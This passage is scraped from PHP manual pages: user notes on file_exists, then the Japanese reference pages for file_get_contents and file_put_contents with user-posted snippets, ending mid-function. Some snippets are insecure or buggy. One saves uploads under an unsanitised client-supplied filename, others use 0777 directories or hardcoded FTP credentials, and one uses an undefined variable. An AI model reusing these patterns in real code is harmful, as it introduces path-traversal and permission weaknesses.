function generateRandomString($length = 8)
{
    $string = "";

    //character that can be used
    $possible = "0123456789bcdfghjkmnpqrstvwxyz";

    for($i=0;$i < $length;$i++)
    {
        $char = substr($possible, rand(0, strlen($possible)-1), 1);

        if (!strstr($string, $char))
        {
            $string .= $char;
        }
    }

    return $string;
}

function randomFile($folder = '', $extension = '')
{
    $folder = trim($folder);
    $folder = ($folder == '') ? './' : $folder;

    //check if directory exist
    if (!is_dir($folder)){ die('invalid folder given!'); }

    //generate a filepath
    $filepath = $folder . "/" . generateRandomString(128) . $extension;

    //check if that filepath already exist, if it exist if generates again
    //till if gets one that doesn't exist
    while(file_exists($filepath))
    {
        $filepath = $folder . "/" . generateRandomString(128) . $extension;
    }

    return $filepath;
}
?>
kevin at cuznersoft dot com 04-Nov-2008 08:32
My way of making sure files exist before including them is as follows (example: including a class file in an autoloader):

<?php
function __autoload($name)
{
    $path = explode(":", ini_get('include_path')); //get all the possible paths to the file (preloaded with the file structure of the project)
    foreach($path as $tryThis)
    {
        //try each possible iteration of the file name and use the first one that comes up
        // name.class.php first
        $exists = file_exists($tryThis . '/' . $name . '.class.php');
        if ($exists)
        {
            include_once($name . '.class.php');
            return;
        }

        //ok that didn't work, try the other way around
        $exists = file_exists($tryThis . '/' . 'class.' . $name . '.php');
        if ($exists)
        {
            include_once('class.' . $name . '.php');
            return;
        }

        //neither did that...let's try as an inc.php
        $exists = file_exists($tryThis . '/' . $name . '.inc.php');
        if ($exists)
        {
            include_once($name . '.inc.php');
            return;
        }
    }

    // can't find it...
    die("Class $name could not be found!");
}
?>
Avee 19-Aug-2008 08:21
I made a bit of code that sees whether a file served via RTSP is there or not:

<?php
function rtsp_exists($url) {

    $server = parse_url($url, PHP_URL_HOST);
    $port = "554";
    $hdrs = "DESCRIBE " .$url ." RTSP/1.0"."\r\n\r\n";

    //Open connection (15s timeout)
    $sh = fsockopen($server, $port, $err, $err_otp, 15);
    //Check connections
    if(!$sh) return false;
    //Send headers
    fputs($sh,$hdrs);
    //Receive data (1KB)
    $rtds = fgets($sh, 1024);
    //Close socket
    fclose($sh);

    return strpos($rtds, "200 OK") > 0;
}
?>
dan at sudonames dot com 05-Aug-2008 05:41
Here is a simpler version of url_exists:

<?php
function url_exists($url) {
    $hdrs = @get_headers($url);
    return is_array($hdrs) ? preg_match('/^HTTP\\/\\d+\\.\\d+\\s+2\\d\\d\\s+.*$/',$hdrs[0]) : false;
}
?>
stuart 26-Feb-2008 10:44
When using file_exists, seems you cannot do:

<?php
foreach ($possibles as $poss)
{
    if ( file_exists(SITE_RANGE_IMAGE_PATH .$this->range_id .'/ '.$poss .'.jpg') )
    {
        // exists
    }
    else
    {
        // not found
    }
}
?>

so you must do:

<?php
foreach ($possibles as $poss)
{
    $img = SITE_RANGE_IMAGE_PATH .$this->range_id .'/ '.$poss .'.jpg'
    if ( file_exists($img) )
    {
        // exists
    }
    else
    {
        // not found
    }
}
?>

Then things will work fine.

This is at least the case on this Windows system running php 5.2.5 and apache 2.2.3

Not sure if it is down to the concatenation or the fact theres a constant in there, i'm about to run away and test just that...
jaz-t at hotmail dot com 26-Feb-2008 07:12
Note on openspecies entry (excellent btw, thanks!).

If your server cannot resolve its own DNS, use the following:
$f = preg_replace('/www\.yourserver\.(net|com)/', getenv('SERVER_ADDR'), $f);

Just before the $h = @get_headers($f); line.

Replace the extensions (net|com|...) in the regexp expression as appropriate.

EXAMPLE:
File you are checking for: http://www.youserver.net/myfile.gif
Server IP: 10.0.0.125

The preg_replace will effectively 'resolve' the address for you by assigning $f as follows:
http://10.0.0.125/myfile.gif
maurice at idify dot nl 20-Nov-2007 02:45
Note: The results of this function are cached. See clearstatcache() for more details.

That's a pretty big note. Don't forget this one, since it can make your file_exists() behave unexpectedly - probably at production time ;)
marufit at gmail dot com 12-Nov-2007 03:22
Older php (v4.x) do not work with get_headers() function. So I made this one and working.

<?php
function url_exists($url) {
    // Version 4.x supported
    $handle   = curl_init($url);
    if (false === $handle)
    {
        return false;
    }
    curl_setopt($handle, CURLOPT_HEADER, false);
    curl_setopt($handle, CURLOPT_FAILONERROR, true);  // this works
    curl_setopt($handle, CURLOPT_NOBODY, true);
    curl_setopt($handle, CURLOPT_RETURNTRANSFER, false);
    $connectable = curl_exec($handle);
    curl_close($handle);
    return $connectable;
}
?>
ktcb123 at hotmail dot com 22-Oct-2007 12:26
For some reason, none of the url_exists() functions posted here worked for me, so here is my own tweaked version of it.

<?php
    function url_exists($url){
        $url = str_replace("http://", "", $url);
        if (strstr($url, "/")) {
            $url = explode("/", $url, 2);
            $url[1] = "/".$url[1];
        } else {
            $url = array($url, "/");
        }

        $fh = fsockopen($url[0], 80);
        if ($fh) {
            fputs($fh,"GET ".$url[1]." HTTP/1.1\nHost:".$url[0]."\n\n");
            if (fread($fh, 22) == "HTTP/1.1 404 Not Found") { return FALSE; }
            else { return TRUE;    }

        } else { return FALSE;}
    }
?>
guillermogomezruiz at gmail dot com 07-Sep-2007 04:08
I was having problems with the file_exists when using urls, so I made this function:

<?php
function file_exists_2($filePath)
{
    return ($ch = curl_init($filePath)) ? @curl_close($ch) || true : false;
}
?>

Cheers!
bvazquez at siscomx dot com 04-Jul-2007 09:13
If you are trying to access a Windows Network Share you have to configure your WebServer with enough permissions for example:

$file = fopen("\\siscomx17\c\websapp.log",'r');

You will get an error telling you that the pathname doesnt exist this will be because Apache or IIS run as LocalSystem so you will have to enter to Services and configure Apache on "Open a session as" Create a new user that has enough permissions and also be sure that target share has the proper permissions.

Hope this save some hours of research to anyone.
vernon at kesnerdesigns dot net 10-May-2007 08:44
In response to seejohnrun's version to check if a URL exists. Even if the file doesn't exist you're still going to get 404 headers.  You can still use get_headers if you don't have the option of using CURL..

$file = 'http://www.domain.com/somefile.jpg';
$file_headers = @get_headers($file);
if($file_headers[0] == 'HTTP/1.1 404 Not Found') {
    $exists = false;
}
else {
    $exists = true;
}
earle dot west at transactionalweb dot com 14-Mar-2007 05:49
If the file being tested by file_exists() is a file on a symbolically-linked directory structure, the results depend on the permissions of the directory tree node underneath the linked tree.   PHP under a web server (i.e. apache) will respect permissions of the file system underneath the symbolic link, contrasting with PHP as a shell script which respects permissions of the directories that are linked (i.e. on top, and visible).

This results in files that appear to NOT exist on a symbolic link, even though they are very much in existance and indeed are readable by the web server.
07-Jan-2006 01:08
I wrote this little handy function to check if an image exists in a directory, and if so, return a filename which doesnt exists e.g. if you try 'flower.jpg' and it exists, then it tries 'flower[1].jpg' and if that one exists it tries 'flower[2].jpg' and so on. It works fine at my place. Ofcourse you can use it also for other filetypes than images.

<?php
function imageExists($image,$dir) {

    $i=1; $probeer=$image;

    while(file_exists($dir.$probeer)) {
        $punt=strrpos($image,".");
        if(substr($image,($punt-3),1)!==("[") && substr($image,($punt-1),1)!==("]")) {
            $probeer=substr($image,0,$punt)."[".$i."]".
            substr($image,($punt),strlen($image)-$punt);
        } else {
            $probeer=substr($image,0,($punt-3))."[".$i."]".
            substr($image,($punt),strlen($image)-$punt);
        }
        $i++;
    }
    return $probeer;
}
?>
Fabrizio (staff at bibivu dot com) 21-Dec-2005 06:11
here a function to check if a certain URL exist:
<?php
    function url_exists($url) {
        $a_url = parse_url($url);
        if (!isset($a_url['port'])) $a_url['port'] = 80;
        $errno = 0;
        $errstr = '';
        $timeout = 30;
        if(isset($a_url['host']) && $a_url['host']!=gethostbyname($a_url['host'])){
            $fid = fsockopen($a_url['host'], $a_url['port'], $errno, $errstr, $timeout);
            if (!$fid) return false;
            $page = isset($a_url['path'])  ?$a_url['path']:'';
            $page .= isset($a_url['query'])?'?'.$a_url['query']:'';
            fputs($fid, 'HEAD '.$page.' HTTP/1.0'."\r\n".'Host: '.$a_url['host']."\r\n\r\n");
            $head = fread($fid, 4096);
            fclose($fid);
            return preg_match('#^HTTP/.*\s+[200|302]+\s#i', $head);
        } else {
            return false;
        }
    }
?>

in my CMS, I am using it with those lines:
<?php
        if(!isset($this->f_exist[$image]['exist']))
            if(strtolower(substr($fimage,0,4)) == 'http' || strtolower(substr($fimage,0,4)) == 'www.'){
                if(strtolower(substr($image,0,4)) == 'www.'){
                    $fimage = 'http://'.$fimage;
                    $image = 'http://'.$image;
                }
                $this->f_exist[$image]['exist'] = $this->url_exists($fimage); //for now
            } else {
                $this->f_exist[$image]['exist'] = ($fimage!='' && file_exists($fimage) && is_file($fimage) && is_readable($fimage) && filesize($fimage)>0);
            }
        }
?>
ihoss dot com at gmail dot com 19-Oct-2005 07:37
The following script checks if there is a file with the same name and adds _n to the end of the file name, where n increases. if img.jpg is on the server, it tries with img_0.jpg, checks if it is on the server and tries with img_1.jpg.
<?php
  $img = "images/".$_FILES['bilde']['name'];
  $t=0;
  while(file_exists($img)){
    $img = "images/".$_FILES['bilde']['name'];
    $img=substr($img,0,strpos($img,"."))."_$t".strstr($img,".");
    $t++;
  }
  move_uploaded_file($_FILES['bilde']['tmp_name'], $img);
?>
tma at 2p dot cz 24-Aug-2005 01:47
If checking for a file newly created by an external program in Windows then file_exists() does not recognize it immediately.  Iy seems that a short timeout may be required.

<?
    $file = 'file.tmp';
    if ($h = popen("start \"bla\" touch $file", "r")) {
      pclose($h);
   // now I would like know if a file was created
   // note: usleep not supported
      $start = gettimeofday();
      while (!file_exists(trim($file, " '\""))) {
        $stop = gettimeofday();
        if ( 1000000 * ($stop['sec'] - $start['sec']) + $stop['usec'] - $start['usec'] > 500000) break;  // wait a moment
     }

     if (file_exists($file))   // now should be reliable
?>
andrewNOSPAMPLEASE at abcd dot NOSPAMERSca 11-Feb-2005 05:29
file_exists will have trouble finding your file if the file permissions are not read enabled for 'other' when not owned by your php user. I thought I was having trouble with a directory name having a space in it (/users/andrew/Pictures/iPhoto Library/AlbumData.xml) but the reality was that there weren't read permissions on Pictures, iPhoto Library or AlbumData.xml. Once I fixed that, file_exists worked.
Nathaniel 08-Feb-2005 09:08
I spent the last two hours wondering what was wrong with my if statement: file_exists($file) was returning false, however I could call include($file) with no problem.

It turns out that I didn't realize that the php include_path value I had set in the .htaccess file didn't carry over to file_exists, is_file, etc.

Thus:

<?PHP
// .htaccess php_value include_path '/home/user/public_html/';

// includes lies in /home/user/public_html/includes/

//doesn't work, file_exists returns false
if ( file_exists('includes/config.php') )
{
     include('includes/config.php');
}

//does work, file_exists returns true
if ( file_exists('/home/user/public_html/includes/config.php') )
{
    include('includes/config.php');
}
?>

Just goes to show that "shortcuts for simplicity" like setting the include_path in .htaccess can just cause more grief in the long run.


ファイルの内容を全て文字列に読み込む

  • ≪ file_exists
  • file_put_contents ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルの内容を全て文字列に読み込む

file_get_contents

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

file_get_contents — ファイルの内容を全て文字列に読み込む

説明

file_get_contents ( string $filename , bool $use_include_path = false , resource $context = ? , int $offset = 0 , int $maxlen = ? ) : string|false

この関数は file() と似ていますが、 offset で指定した場所から開始し maxlen バイト分だけ ファイルの内容を文字列に読み込むという点が異なります。 失敗した場合、file_get_contents() は false を返します。

file_get_contents()はファイルの内容を文字列に読み込む 方法として好ましいものです。もしOSがサポートしていれば パフォーマンス向上のためにメモリマッピング技術が使用されます。

注意:

空白のような特殊な文字を有する URI をオープンする場合には、 urlencode() でその URI をエンコードする必要があります。

パラメータ

filename

データを読み込みたいファイルの名前。

use_include_path

注意:

定数 FILE_USE_INCLUDE_PATH を使用して インクルードパス から探すことができます。 この定数を使うことは、強い型付け が有効になっている場合は不可能です。なぜなら、 FILE_USE_INCLUDE_PATH が int だからです。 true を代わりに使いましょう。

context

stream_context_create() で作成したコンテキストリソース。 独自のコンテキストを使用する必要がない場合は、このパラメータに null を指定します。

offset

元のストリーム上で、読み込みを開始するオフセット位置。 負のオフセットは、ストリームの末尾からのオフセットと解釈されます。

リモートファイルに対するシーク (offset 指定) はサポートしていません。 オフセットが小さい場合はリモートファイルでのシークがうまくいくこともありますが、 これはバッファリングされたストリーム上で動作しているだけのことです。

maxlen

読み込むデータの最大バイト数。 デフォルトは、ファイル終端に達するまで読み込みます。 このパラメータは、フィルタが処理した後のストリームに適用されることに注意しましょう。

返り値

読み込んだデータを返します。失敗した場合に false を返します。

警告

この関数は論理値 false を返す可能性がありますが、false として評価される値を返す可能性もあります。 詳細については 論理値の セクションを参照してください。この関数の返り値を調べるには ===演算子 を 使用してください。

エラー / 例外

filename が見つからない場合、maxlength がゼロより小さい場合、あるいはストリーム内での指定した offset へのシークが失敗した場合に E_WARNING レベルのエラーが発生します。

file_get_contents() 関数がディレクトリに対して呼び出されると、 Windows では E_WARNING レベルのエラーが発生していました。 PHP 7.4 以降では、Windows 以外のオペレーティングシステムでも同じ動きになっています。

例

例1 とあるウェブサイトのホームページのソースの取得と出力

<?php
$homepage = file_get_contents('http://www.example.com/');
echo $homepage;
?>

例2 include_path の検索

<?php
// 厳密な型検査が有効な場合。つまり、declare(strict_types=1) の場合
$file = file_get_contents('./people.txt', true);
// 厳密な型検査が有効でない場合
$file = file_get_contents('./people.txt', FILE_USE_INCLUDE_PATH);
?>

例3 ファイルの一部の読み込み

<?php
// 21 文字目から 14 文字ぶん読み込みます
$section = file_get_contents('./people.txt', FALSE, NULL, 20, 14);
var_dump($section);
?>

上の例の出力は、 たとえば以下のようになります。

string(14) "lle Bjori Ro"

例4 ストリームコンテキストの使用

<?php
// ストリームを作成します
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: foo=bar\r\n"
  )
);

$context = stream_context_create($opts);

// 上で設定した HTTP ヘッダを使用してファイルをオープンします
$file = file_get_contents('http://www.example.com/', false, $context);
?>

変更履歴

バージョン | 説明
7.1.0 | 負の offset をサポートするようになりました。

注意

注意: この関数はバイナリデータに対応しています。

ヒント

fopen wrappers が有効の場合、この関数のファイル名として URL を使用することができます。ファイル名の指定方法に関する詳細は fopen() を参照ください。 サポートするプロトコル/ラッパー には、さまざまなラッパーの機能やその使用法、 提供される定義済み変数などの情報がまとめられています。

警告

IIS のような、いくつかの標準に 対応してない Web サーバーは、PHP に警告を発生させるような手順でデータを送信します。 このようなサーバーを使用する場合は、 error_reporting を警告を発生しないレベルまで小さくする必要があります。 PHP では、https:// ラッパーでストリームをオープンする際に バグがある IIS サーバーソフトウエアを検出することができ、この警告を抑制することができます。 あなたが ssl:// ソケットを作成するために fsockopen() を使用している場合、 自らこの警告を検出し、抑制する必要があります。

参考

  • file() - ファイル全体を読み込んで配列に格納する
  • fgets() - ファイルポインタから 1 行取得する
  • fread() - バイナリセーフなファイルの読み込み
  • readfile() - ファイルを出力する
  • file_put_contents() - データをファイルに書き込む
  • stream_get_contents() - 残りのストリームを文字列に読み込む
  • stream_context_create() - ストリームコンテキストを作成する
  • $http_response_header

User Contributed Notes

jlh 30-Oct-2020 09:19
A gotcha to look out for:

Passing NULL as $maxlen explicitely will result in an empty string being returned.  It is necessary to omit the parameter entirely or provide a desired value.
Bart Friederichs 16-Apr-2012 12:17
file_get_contents can do a POST, create a context for that first:

<?php

$opts = array('http' =>
  array(
    'method'  => 'POST',
    'header'  => "Content-Type: text/xml\r\n".
      "Authorization: Basic ".base64_encode("$https_user:$https_password")."\r\n",
    'content' => $body,
    'timeout' => 60
  )
);

$context  = stream_context_create($opts);
$url = 'https://'.$https_server;
$result = file_get_contents($url, false, $context, -1, 40000);

?>


データをファイルに書き込む

  • ≪ file_get_contents
  • file ≫
  • PHP Manual
  • ファイルシステム 関数
  • データをファイルに書き込む

file_put_contents

(PHP 5, PHP 7, PHP 8)

file_put_contents — データをファイルに書き込む

説明

file_put_contents ( string $filename , mixed $data , int $flags = 0 , resource $context = ? ) : int

この関数は、fopen()、fwrite()、 fclose() を続けてコールしてデータをファイルに書き込むのと等価です。

filename が存在しない場合はファイルを作成します。 存在する場合はそのファイルを上書きします。ただし FILE_APPEND フラグが設定されている場合は別です。

パラメータ

filename

データを書き込むファイルへのパス。

data

書き込むデータ。文字列, 配列 もしくは ストリーム リソースのいずれかを指定可能です。

data が ストリーム リソースの場合は、 ストリームのバッファに残っている内容が指定したファイルにコピーされます。 これは、stream_copy_to_stream() の挙動と似ています。

data に一次元の配列を指定することもできます。この場合は file_put_contents($filename, implode('', $array)) と同じ意味になります。

flags

flags の値は、以下のフラグを組み合わせたものとなります 組み合わせる際には、論理 OR (|) 演算子で連結します。

使用できるフラグ
フラグ | 説明
FILE_USE_INCLUDE_PATH | filename をインクルードディレクトリから探します。 詳細な情報は include_path を参照ください。
FILE_APPEND | filename がすでに存在する場合に、 データをファイルに上書きするするのではなく追記します。
LOCK_EX | 書き込み処理中に、ファイルに対する排他ロックを確保します。 つまり、fopen() の呼び出しから fwrite() の呼び出しまでの間に flock() の呼び出しが発生するということです。 これは、モード "x" で fopen() を呼び出すことと同等ではありません。

context

stream_context_create() で作成したコンテキストリソース。

返り値

この関数はファイルに書き込まれたバイト数を返します。 あるいは失敗した場合には false を返します。

警告

この関数は論理値 false を返す可能性がありますが、false として評価される値を返す可能性もあります。 詳細については 論理値の セクションを参照してください。この関数の返り値を調べるには ===演算子 を 使用してください。

例

例1 シンプルな使用例

<?php
$file = 'people.txt';
// ファイルをオープンして既存のコンテンツを取得します
$current = file_get_contents($file);
// 新しい人物をファイルに追加します
$current .= "John Smith\n";
// 結果をファイルに書き出します
file_put_contents($file, $current);
?>

例2 フラグの使用

<?php
$file = 'people.txt';
// 新しい人物をファイルに追加します
$person = "John Smith\n";
// 中身をファイルに書き出します。
// FILE_APPEND フラグはファイルの最後に追記することを表し、
// LOCK_EX フラグは他の人が同時にファイルに書き込めないことを表します。
file_put_contents($file, $person, FILE_APPEND | LOCK_EX);
?>

注意

注意: この関数はバイナリデータに対応しています。

ヒント

fopen wrappers が有効の場合、この関数のファイル名として URL を使用することができます。ファイル名の指定方法に関する詳細は fopen() を参照ください。 サポートするプロトコル/ラッパー には、さまざまなラッパーの機能やその使用法、 提供される定義済み変数などの情報がまとめられています。

参考

  • fopen() - ファイルまたは URL をオープンする
  • fwrite() - バイナリセーフなファイル書き込み処理
  • file_get_contents() - ファイルの内容を全て文字列に読み込む
  • stream_context_create() - ストリームコンテキストを作成する

User Contributed Notes

jul dot rosset at gmail dot com 04-Jan-2021 03:56
This function doesn't return False if all data isn't write, especially when data is a stream resource

You must check yourself using return value.
<?php
    $url = 'https://monsite.fr/image.png';
    $size = filesize($url);
    $written = file_put_contents('image.png', fopen($url, 'r'));
    if ($size === false || $size != $written) {
        die('Download failed');
    }
?>
maksam07 at gmail dot com 05-Mar-2019 10:47
A slightly simplified version of the method: http://php.net/manual/ru/function.file-put-contents.php#84180

<?php
function file_force_contents( $fullPath, $contents, $flags = 0 ){
    $parts = explode( '/', $fullPath );
    array_pop( $parts );
    $dir = implode( '/', $parts );

    if( !is_dir( $dir ) )
        mkdir( $dir, 0777, true );

    file_put_contents( $fullPath, $contents, $flags );
}

file_force_contents( ROOT.'/newpath/file.txt', 'message', LOCK_EX );
?>
daniel at garcianoriega dot com 06-Oct-2018 04:07
I faced the problem of converting a downloaded csv file that had Windows-1252 encoding, so to convert it to UTF-8 this worked for me:

$from = 'Windows-1252';
$to = 'UTF-8';

$content = file_get_contents($this->path());

file_put_contents($this->path(), mb_convert_encoding($content, $to, $from));

where "$this->path()" has the path of the file... Using this the file is converted from Windows-1252 to UTF-8.

With this you can import it with mysqlimport with no problems.
Abe 30-May-2018 12:57
If you need to read a file, process the contents, and then write the contents back, all inside a lock so that no other process can interfere, then you probably can't use file_put_contents in lock mode.

As a work around, you can consider trying the following code to do a file write (fwrite) inside of a file lock.

Play with the $overwriting= setting to switch from simply appending to completely overwriting.

      <?php
      // Tested in PHP7.0.18

      $trackErrors = ini_get('track_errors');
      ini_set('track_errors', 1);

      $filename="c:/temp/test.txt";

      if ( ! file_exists($filename) ) {
         touch($filename);
      }

      $mode="r+";
      $fh=fopen($filename, $mode);
      if ( ! $fh ) {
         echo "<LI style='color:red'>Failed to open $filename in $mode";
         die();
      }

      if ( 1==1 ) {
         flock($fh, LOCK_EX);

         if ( 1==1 ) {
             if (filesize($filename) > 0) {
               $txt = fread($fh, filesize($filename));
               echo "BEFORE:<OL>$txt</OL>";
            }
            else {
               $txt = "empty";
            }

            $txt = "<LI>Date is now " . gmdate("Y-m-d H:i:s", time());

            echo "<HR>WRITING:<OL>";
            if ( 1==1 ) {

               $overwrite = false;
               if ($overwrite) {
                  echo "(Overwrite)<BR><BR>";
                  ftruncate($fh, 0);
                  // ftruncate is here as rewind will move the pointer
                  // to the beginning of the file and allow overwrite,
                  // but it will not remove existing content that
                  // extends beyond the length of the new write
                  rewind($fh);
               }
               else {
                  echo "(Appending)<BR><BR>";
               }

               if (fwrite($fh, $txt) == FALSE) {
                  echo "<LI style='color:red'>Failed to write to $filename";
                  die();
               }
               else {
                  echo "$txt";
               }
               fflush($fh);

            }
            echo "</OL>";
         }
         flock($fh, LOCK_UN);
      }
      fclose($fh);

      // -------------------------------------------------------------------

      echo "<HR>AFTER:<OL>";
      if ( 1==2 ) {
          // I've noticed that this block fails to pick up the newly
          // written content when run with fread, but does work with
          // the fgets logic below - possibly there is caching going on.
          $mode = "r";
          $fh2 = fopen($filename, $mode);
          $contents = fread($fh2, filesize($filename));
          echo "$contents";
          fclose($fh2);
      }
      else {
          $fh3 = fopen($filename, "r");
          while (!feof($fh3)) {
              $line = fgets($fh3);
              echo $line;
          }
          fclose($fh3);
      }
      echo "</OL>";

      echo "<HR>Fin";
      ?>
briethings at gmail dot com 22-Mar-2018 03:11
Here is a stupid pitfall I just fell into.
I think it may happen rather frequently, so I report it.

A common situation is that the $filename argument is built from two variables:
file_put_contents($path . $file, $content);

Say that $path = 'path/to' and $file = 'file.txt': you see that $path lacks its ending "/", so the resulting full path is 'path/tofile.txt'.

Then you look at 'path/to' and don't see any 'file.txt', although no warning or notice was thrown!
And may be (like for me :D) it'll take time before you realize that a bad 'tofile.txt' was created in the *parent* directory of the one where you were looking for your file.
marc at gutt dot it 27-Mar-2017 01:57
This php.net example could be confusing:
<?php
file_put_contents($file, $person, FILE_APPEND | LOCK_EX);
?>

You do not need LOCK_EX if you write only to a file (like log files). Multiple writing processes are already queued. Test it on your own by calling this script 4 times simultaneously:
<?php
function string_rand($len, $split="\n") {
    return substr(chunk_split(bin2hex(openssl_random_pseudo_bytes(ceil($len / 2))), 1023, $split), 0, $len);
}

ini_set('memory_limit', '200M');

if (!file_put_contents('../cache4/file.txt', string_rand(102400000), FILE_APPEND)) {
    exit('file_put_contents() error!');
}

clearstatcache();
echo 'filesize: ' . filesize('../cache4/file.txt') . PHP_EOL;

$fp = fopen('../cache4/file.txt', 'r');
if ($fp) {
    while (($line = fgets($fp)) !== false) {
        if (strlen($line) != 1024) {
            exit('Line length error!');
        }
    }
    fclose($fp);
}
?>

You will not see an error, the last called script needs the longest time (as it is the last one in the queue) and the final size will be 409600000 bytes as it should be.
vaneatona at gmail dot com 15-Mar-2017 09:09
I'm updating a function that was posted, as it would fail if there was no directory. It also returns the final value so you can determine if the actual file was written.

    public static function file_force_contents($dir, $contents){
        $parts = explode('/', $dir);
        $file = array_pop($parts);
        $dir = '';

        foreach($parts as $part) {
            if (! is_dir($dir .= "{$part}/")) mkdir($dir);
        }

        return file_put_contents("{$dir}{$file}", $contents);
    }
Anonymous 26-Feb-2017 10:20
Make sure not to corrupt anything in case of failure.

<?php

function file_put_contents_atomically($filename, $data, $flags = 0, $context = null) {
    if (file_put_contents($filename."~", $data, $flags, $context) === strlen($contents)) {
        return rename($filename."~",$filename,$context);
    }

    @unlink($filename."~", $context);
    return FALSE;
}

?>
josemiguel at likeik dot com 20-Sep-2016 12:22
Under PHP7.0, I have seen that using an empty string as $data, the function returns FALSE instead of 0 as it should:

        $data = ''
        $size = file_put_contents($filename, $data, FILE_APPEND);
        if ($size == FALSE)
        {
               echo "error writing file"
        }

Code will give error when $data is an empty string even using == operator.

Hope it helps somebody...
aabaev arroba gmail coma com 20-May-2016 11:02
I suggest to expand file_force_contents() function of TrentTompkins at gmail dot com by adding verification if patch is like: "../foo/bar/file"

if (strpos($dir, "../") === 0)
    $dir = str_replace("..", substr(__DIR__, 0, strrpos(__DIR__, "/")), $dir);
vilhar at hotmail dot com 23-Mar-2016 11:48
This should also handle $filename from other than root and also $filename without path.

function file_force_contents($filename, $data, $per = 0755, $flags = 0) {
        $fn = "";
    if(substr($filename, 0, 1) === "/") $fn .= "/";
    $parts = explode("/", $filename);
        $file = array_pop($parts);

        foreach($parts as $part) {
            if(!is_dir($fn .= "$part")) mkdir($fn, $per, true);
        $fn .= "/";
    }

        file_put_contents($fn.$file, $data, $flags);
}
Nadeem 28-Nov-2014 10:01
Log custom or error messages to a file.

<?php

class Logger{

    protected $file;

    protected $content;

    protected $writeFlag;

    protected $endRow;

    public function __construct($file,$endRow="\n",$writeFlag=FILE_APPEND) {

        $this->file=$file;

        $this->writeFlag=$writeFlag;

        $this->endRow=$endRow;

    }

    public function AddRow($content="",$newLines=1){

        for ($m=0;$m<$newLines;$m++)
        {

            $newRow .= $this->endRow;

        }

        $this->content .= $content . $newRow;

    }

    public function Commit(){

            return file_put_contents($this->file,$this->content,$this->writeFlag);

    }

    public function LogError($error,$newLines=1)
    {
        if ($error!=""){

            $this->AddRow($error,$newLines);
            echo $error;

        }

    }

}

$logFileDirectoryAndName="/yourDirectory/yourFileName.xxx";

$logger = new Logger($logFileDirectoryAndName);

$logger->AddRow("Your Log Message");

#log a system error and echo a message
$logger->LogError(mysql_error($conn));

$logger->Commit();
?>
gurjindersingh at SPAM dot hotmail dot com 18-Oct-2014 06:03
File put contents fails if you try to put a file in a directory that doesn't exist. This function creates the directory.

i have updated code of "TrentTompkins at gmail dot com". thanks
<?php
/**
 * @param string $filename <p>file name including folder.
 * example :: /path/to/file/filename.ext or filename.ext</p>
 * @param string $data <p> The data to write.
 * </p>
 * @param int $flags same flags used for file_put_contents.
 * more info: http://php.net/manual/en/function.file-put-contents.php
 * @return bool <b>TRUE</b> file created succesfully <br> <b>FALSE</b> failed to create file.
 */
function file_force_contents($filename, $data, $flags = 0){
    if(!is_dir(dirname($filename)))
        mkdir(dirname($filename).'/', 0777, TRUE);
    return file_put_contents($filename, $data,$flags);
}
// usage

file_force_contents('test1.txt','test1 content');  // test1.txt created

file_force_contents('test2/test2.txt','test2 content');
// test2/test2.txt created "test2" folder.

file_force_contents('~/test3/test3.txt','test3 content');
// /path/to/user/directory/test3/test3.txt created "test3" folder in user directory (check on linux "ll ~/ | grep test3").
?>
klunker dot roox at gmail dot com 17-Oct-2014 10:47
if path to the file not exist function file_put_contents can't create it. This simple function make it on UNIX-based and Windows servers.
<?php
function file_put_contents_force(){
    $args = func_get_args();
    $path = str_replace(array('/','\\'), DIRECTORY_SEPARATOR, $args[0]);
    $parts = explode(DIRECTORY_SEPARATOR, $path);
    array_pop($parts);
    $directory =  '';
    foreach($parts as $part):
        $check_path = $directory.$part;
            if( is_dir($check_path.DIRECTORY_SEPARATOR) === FALSE) {
                mkdir($check_path, 0755);
            }
            $directory = $check_path.DIRECTORY_SEPARATOR;
    endforeach;
    call_user_func_array('file_put_contents',$args);
}
?>
chris at ocportal dot com 28-Jul-2013 11:13
It's important to understand that LOCK_EX will not prevent reading the file unless you also explicitly acquire a read lock (shared locked) with the PHP 'flock' function.

i.e. in concurrent scenarios file_get_contents may return empty if you don't wrap it like this:

<?php
$myfile=fopen('test.txt','rt');
flock($myfile,LOCK_SH);
$read=file_get_contents('test.txt');
fclose($myfile);
?>

If you have code that does a file_get_contents on a file, changes the string, then re-saves using file_put_contents, you better be sure to do this correctly or your file will randomly wipe itself out.
michel kollenhoven 19-Jul-2013 09:35
re: moura dot kadu at gmail dot com

why not ? file_put_contents('ftp://user:pass@server/path/to/file',$data);
vahkos at mail dot ru 22-Jan-2012 08:06
file_put_contents does not issue an error message if file name is incorrect(for example has improper symbols on the end of it /n,/t)
that is why use trim() for file name.
$name=trim($name);
file_put_contents($name,$content);
caiofior at gmail dot com 27-Oct-2011 01:56
I had some troubles using file_put_contents with an absolute but no canonicalized path (eg. w:/htdocs/pri/../test/log.txt): on windows environment php was unable to create the file also using the realpath function .
I had to use fopen and frwite functions to write the data.
moura dot kadu at gmail dot com 23-Sep-2011 12:18
I made ??a ftp_put_contents function.

hope you enjoy.

<?php

function ftp_put_contents($fpc_path_and_name, $fpc_content) {

    //Temporary folder in the server
    $cfg_temp_folder = str_replace("//", "/", $_SERVER['DOCUMENT_ROOT']."/_temp/");

    //Link to FTP
    $cfg_ftp_server = "ftp://ftp.com";

    //FTP username
    $cfg_user = "user";

    //FTP password
    $cfg_pass = "password";

    //Document Root of FTP
    $cfg_document_root = "DOCUMENT ROOT OF FTP";

    //Link to the website
    $cfg_site_link = "Link to the website";

    //Check if conteins slash on the path of the file
    $cotains_slash = strstr($fpc_path_and_name, "/");

    //Get filename and paths
    if ($cotains_slash) {
        $fpc_path_and_name_array = explode("/", $fpc_path_and_name);
        $fpc_file_name = end($fpc_path_and_name_array);
    }
    else {
        $fpc_file_name = $fpc_path_and_name;
    }

    //Create local temp dir
    if (!file_exists($cfg_temp_folder)) {
        if (!mkdir($cfg_temp_folder, 0777)) {
            echo "Unable to generate a temporary folder on the local server - $cfg_temp_folder.<br />";
            die();
        }
    }

    //Create local file in temp dir
    if (!file_put_contents(str_replace("//", "/", $cfg_temp_folder.$fpc_file_name), $fpc_content)) {
        echo "Unable to generate the file in the temporary location - ".str_replace("//", "/", $cfg_temp_folder.$fpc_file_name).".<br />";
        die();
    }

    //Connection to the FTP Server
    $fpc_ftp_conn = ftp_connect("$cfg_ftp_server");

    //Check connection
    if (!$fpc_ftp_conn) {
